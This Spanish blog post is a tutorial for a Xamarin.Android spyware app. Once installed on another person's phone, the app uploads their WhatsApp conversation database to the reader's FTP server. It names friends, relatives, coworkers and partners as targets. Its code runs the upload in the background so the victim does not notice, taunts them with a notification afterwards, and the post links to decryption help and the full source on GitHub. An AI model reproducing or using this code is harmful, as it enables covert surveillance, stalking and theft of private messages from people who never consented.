Subir un archivo de base de datos de WhatsApp a un servidor FTP con Xamarin.Android

By | 22 Noviembre, 2013

android-whatsapp

Algo de lo que mas le intriga a la gente es conocer las conversaciones de su celular de amigos, familiares, compañeros de trabajo, parejas,etc. Así que les traigo algo CALIENTITO para que puedan obtener las conversaciones de la aplicación WhatsApp de algún smartphone sobre el cual tengan acceso. Esto lo haremos a través de una pequeña app desarrollada con Xamarin.Android y que de alguna manera, tendrán que instalar en el dispositivo. Antes que nada recordarles ese viejo dicho que dice el que busca encuentra.

Proyecto en Xamarin. Android

Empezamos generando un proyecto común y corriente de Xamarin.Android al cual le añadiremos unos simples métodos. Para hacer el trabajo sucio empezaremos con el método que a través de un hilo, trabajara en background para subir el archivo de con las conversaciones de WhatsApp a un servidor de FTP. Es importante que las variables ftpHost(Dirección del ftp), ftpUser (Usuario del ftp) y ftpPassword(Clave del usuario) estén configuradas correctamente.


void CargarBaseaFTP()
{
//Creamos un hilo independiente que trabaja asincronamente para que el usuario no sospeche la carga del archivo
   Task.Factory.StartNew(()=>{
      try
      {
         //Tomamos el Id de Android para crear un archivo unico en el FTP
         var device = Build.Device;
         var id = Settings.Secure.GetString(Application.Context.ContentResolver,
                  Settings.Secure.AndroidId);

         //Cargar Url Base de Datos
         //Tomamos el directorio de la SD
         var path = Android.OS.Environment.ExternalStorageDirectory.AbsolutePath;
         //Combinamos el directorio de la SD + el de WhatsApp
         path = Path.Combine(path, "WhatsApp");
         //Combinamos el directorio de WhatsApp con el de Databases
         //que es donde se encuentra la base de datos
         path = Path.Combine(path, "Databases");
         //Combinamos el directorio de las bases de datos
         //con el del archivo de conversaciones encriptado
         //msgstore.db.crypt == a ultimo backup de conversaciones generado
         //en esta direccion hay mas archivo en diferentes fechas 
         //que son respaldos anteriores de la base
         path = Path.Combine(path, "msgstore.db.crypt");

         //Configurar FTP
         string ftpHost     = "direccion";//"miftp.com"
         string ftpUser     = "usuario";
         string ftpPassword = "password";

         //Direccion completa de donde quedaria hospedado la base da la victima
         string ftpfullpath = "ftp://" + ftpHost + "/"+ id +"msgstore.db.crypt";

         //Generamos
         FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpfullpath);

         //Preparamos el ftp para recibir el archivo
         ftp.Credentials = new NetworkCredential(ftpUser, ftpPassword);
         ftp.KeepAlive = true;
         ftp.UseBinary = true;
         ftp.Method = WebRequestMethods.Ftp.UploadFile;

         //Usamos magia negra para subir el archivo a nuestro
         using (FileStream fs = File.OpenRead(path))
         {
            byte[] buffer = new byte[fs.Length];
            fs.Read(buffer, 0, buffer.Length);
            fs.Close();

            Stream ftpstream = ftp.GetRequestStream();
            ftpstream.Write(buffer, 0, buffer.Length);
            ftpstream.Close();
         }

         //Agradecemos al usuario por su cooperación
         createNotification("SORPRESA", "Muchas Gracias por tus conversaciones de WhatsApp");
      }
      catch(Exception ex)
      {
         //En caso de algún error
         createNotification("SORPRESA", "Te has salido con la tuya");
      }
   });
} 

Este es el nippet de código del método para generar una notificación de sistema que se utiliza en el código anterior. El método recibe dos parámetros, el titulo de la notificación y la descripción o texto que mostraremos:


void createNotification(string title, string desc)
{
   var notificationManager = GetSystemService (Context.NotificationService) as NotificationManager;
   var uiIntent = new Intent (this, typeof(MainActivity));

   var notification = new Notification (Android.Resource.Drawable.IcDialogInfo, title);
   notification.Flags = NotificationFlags.AutoCancel;

   notification.SetLatestEventInfo (this, title, desc,
                                    PendingIntent.GetActivity (this, 0, uiIntent, 0));

   notificationManager.Notify (1, notification);
}

Ahora solo mandaremos a llamar el método CargarBaseaFTP() en el método OnCreate() y listo en cuestión de minutos o segundos dependiendo el peso de la base tendremos en nuestro ftp la base de WhatsApp de nuestra víctima.


protected override void OnCreate (Bundle bundle)
{
   base.OnCreate (bundle);
   
   // Set our view from the "main" layout resource
   SetContentView (Resource.Layout.Main);

   // Get our button from the layout resource,
   // and attach an event to it
   Button button = FindViewById<Button> (Resource.Id.myButton);

   button.Click += delegate {
      Toast.MakeText(this, "Hola", ToastLength.Short);
   };

   CargarBaseaFTP ();

} 

List, ahora tenemos como resultado esto, una App común y corriente:

uploadwhatsapp

Lanzamos un mensaje al usuario:

uploadwhatsapp2

Revisamos el FTP y si todo es correcto, tendremos la base de datos:

ftpwhatsapp

Para desencriptar la base obtenida les dejo como referencia esto que les ayudara mucho:

http://forum.xda-developers.com/showthread.php?t=1583021

Pueden bajar desde mi github o el de Xamurais el ejemplo completo

https://github.com/AlejandroRuiz/Mono/tree/master/UploadWhatsAppData

https://github.com/xamurais/Xamarin.android/tree/master/UploadWhatsAppData

Ya saben que con el conocimiento viene responsabilidad, así que úsenlo bajo su propio riesgo

Cualquier duda o comentario, mi twitter es: https://twitter.com/alejandroruizva

Saludos.
Alejandro Ruiz

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *